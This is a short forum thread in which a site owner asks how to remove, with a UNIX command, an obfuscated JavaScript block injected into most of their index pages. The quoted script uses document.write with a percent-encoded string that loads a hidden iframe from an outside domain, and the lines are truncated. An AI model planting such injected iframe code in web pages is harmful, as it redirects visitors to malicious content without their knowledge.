How to remove JAvascript inserted line

[gallot]

Hello,

I found out that most of the index file on my website has the following line inserted:

<script type="text/javascript">
<!--
document.write(unescape('%3C%69%66%72%61%6D%65%20%73%72%63%3D%22%68%74%74%70%3A%2F%2F%66%6F%74%62%61%6C%6C%70%6F%72%74%61%6C%2E%69%6E%66%6F%2F%6F%75%74%2E%7$
//-->
</script>
<script type="text/javascript">
<!--
document.write(unescape('%3C%69%66%72%61%6D%65%20%73%72%63%3D%22%68%74%74%70%3A%2F%2F%66%6F%74%62%61%6C%6C%70%6F%72%74%61%6C%2E%69%6E%66%6F%2F%6F%75%74%2E%7$
//-->
</script>


Does anybody is helpful enough to lend knowledge on how to remove those lines using any UNIX command line? A "find" command combination perhaps?

Thanks.

[dynaweb]

You may want to see my thread about this. It may help you find out how. I posted it today or you can search my username. Good luck.